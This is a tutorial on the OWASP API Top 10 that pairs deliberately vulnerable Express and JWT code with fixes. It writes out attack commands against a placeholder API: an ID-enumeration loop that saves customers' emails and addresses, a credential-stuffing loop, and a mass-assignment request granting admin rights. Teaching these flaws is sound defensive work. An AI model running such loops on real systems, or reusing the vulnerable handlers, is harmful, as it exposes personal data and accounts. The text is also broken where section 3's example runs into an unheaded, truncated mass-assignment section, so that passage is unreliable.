What Actually Gets Exploited: The OWASP API Top 10 in Practice
Forget theoretical vulnerability lists. This lesson walks through the API vulnerabilities that actually show up in bug bounty reports, breach disclosures, and penetration tests. Every example here is based on real-world patterns.
1. Broken Object Level Authorization (BOLA) — API1:2023
BOLA is the #1 API vulnerability for a reason. It happens when an API endpoint exposes object IDs and fails to verify that the requesting user actually owns or has access to that object.
The Vulnerable Pattern
Consider this endpoint that returns order details:
// VULNERABLE: No authorization check on the order owner
app.get('/api/orders/:orderId', authenticate, async (req, res) => {
const order = await db.orders.findById(req.params.orderId);
if (!order) return res.status(404).json({ error: 'Not found' });
return res.json(order); // Anyone can read any order!
});
The Exploit
An attacker who has a legitimate account (user ID 42, order ID 1001) simply iterates through other order IDs:
# Attacker's own order — works fine
curl -H 'Authorization: Bearer ' https://api.target.com/api/orders/1001
# Someone else's order — also works (this is the bug)
curl -H 'Authorization: Bearer ' https://api.target.com/api/orders/1002
curl -H 'Authorization: Bearer ' https://api.target.com/api/orders/1003
# Automated enumeration
for i in $(seq 1 10000); do
curl -s -H 'Authorization: Bearer ' \
https://api.target.com/api/orders/$i | jq '.email,.address,.total' >> leaked_data.txt
done
This attack is trivial to execute and devastating in impact. The attacker gets access to every order in the system — names, addresses, payment details, everything the API returns.
The Defense
// SECURE: Always verify ownership
app.get('/api/orders/:orderId', authenticate, async (req, res) => {
const order = await db.orders.findOne({
_id: req.params.orderId,
userId: req.user.id // Scoped to the authenticated user
});
if (!order) return res.status(404).json({ error: 'Not found' });
return res.json(order);
});
The fix is deceptively simple: add a userId filter to every query. But in practice, this gets missed constantly — especially in admin endpoints, export features, and report generators.
Architectural defense: Use a middleware pattern that automatically scopes queries:
function scopeToUser(model) {
return async (req, res, next) => {
req.scopedQuery = { ...req.query, userId: req.user.id };
next();
};
}
2. Broken Authentication — API2:2023
Broken authentication in APIs goes beyond weak passwords. The most common patterns:
Credential Stuffing Without Rate Limiting
# No rate limit on login endpoint
for cred in $(cat credential_dump.txt); do
user=$(echo $cred | cut -d: -f1)
pass=$(echo $cred | cut -d: -f2)
curl -s -X POST https://api.target.com/auth/login \
-d "{\"email\":\"$user\",\"password\":\"$pass\"}" \
-H 'Content-Type: application/json' | grep -q 'token' && echo "HIT: $cred"
done
Token That Never Expires
// VULNERABLE: Token has no expiration
const token = jwt.sign({ userId: user.id, role: user.role }, SECRET);
// This token works forever. Steal it once, own the account permanently.
// SECURE: Short-lived access token + refresh token rotation
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
SECRET,
{ expiresIn: '15m' }
);
const refreshToken = crypto.randomBytes(32).toString('hex');
await redis.setex(`refresh:${refreshToken}`, 86400, user.id);
3. Excessive Data Exposure — API3:2023
APIs often return entire database objects instead of filtering to only what the client needs.
// VULNERABLE: Returns everything including sensitive fields
app.get('/api/users/:id', async (req, res) => {
const user = await User.findById(req.params.id);
res.json(user); // Includes password hash, SSN, internal notes, etc.
});
// SECURE: Explicit field selection
app.get('/api/users/:id', async (req, res) => {
const user = await User.findById(req.params.id)
.select('name email avatar createdAt');
res.json(user);
});
Real-world example: API returns admin fields to regular users
curl -H 'Authorization: Bearer ' \
https://api.target.com/api/users/me
# Response includes:
# {
# "id": 42,
# "email": "user@example.com",
# "name": "Regular User",
# "password_hash": "$2b$12$...", ' \
-H 'Content-Type: application/json' \
-d '{"name": "New Name", "bio": "Updated bio"}'
# Mass assignment attack — injecting role field
curl -X PUT https://api.target.com/api/users/me \
-H 'Authorization: Bearer ' \
-H 'Content-Type: application/json' \
-d '{"name": "New Name", "role": "admin", "verified": true, "credits": 999999}'
If the server uses something like User.findByIdAndUpdate(id, req.body), all those fields get written.
The Defense
// VULNERABLE: Spreading entire request body
app.put('/api/users/me', authenticate, async (req, res) => {
await User.findByIdAndUpdate(req.user.id, req.body); // Never do this
});
// SECURE: Explicit allowlist
app.put('/api/users/me', authenticate, async (req, res) => {
const allowed = ['name', 'bio', 'avatar', 'timezone'];
const updates = {};
for (const field of allowed) {
if (req.body[field] !== undefined) {
updates[field] = req.body[field];
}
}
await User.findByIdAndUpdate(req.user.id, updates);
res.json({ updated: true });
});
Use schema validation (Zod, Joi, etc.) at the API boundary to strip unknown fields before they ever reach your business logic.
const updateProfileSchema = z.object({
name: z.string().max(100).optional(),
bio: z.string().max(500).optional(),
avatar: z.string().url().optional(),
timezone: z.string().optional(),
}).strict(); // .strict() rejects unknown fields
Key Takeaways
- BOLA is the #1 API vuln. Always scope database queries to the authenticated user.
- Authentication is more than passwords. Token expiration, refresh rotation, and rate limiting are non-negotiable.
- Never return full database objects. Use explicit field selection or serialization layers.
- Mass assignment is a one-line exploit. Always use allowlists for writable fields.
- Every one of these vulnerabilities has been found in major production APIs — not because they are hard to fix, but because developers forget to check.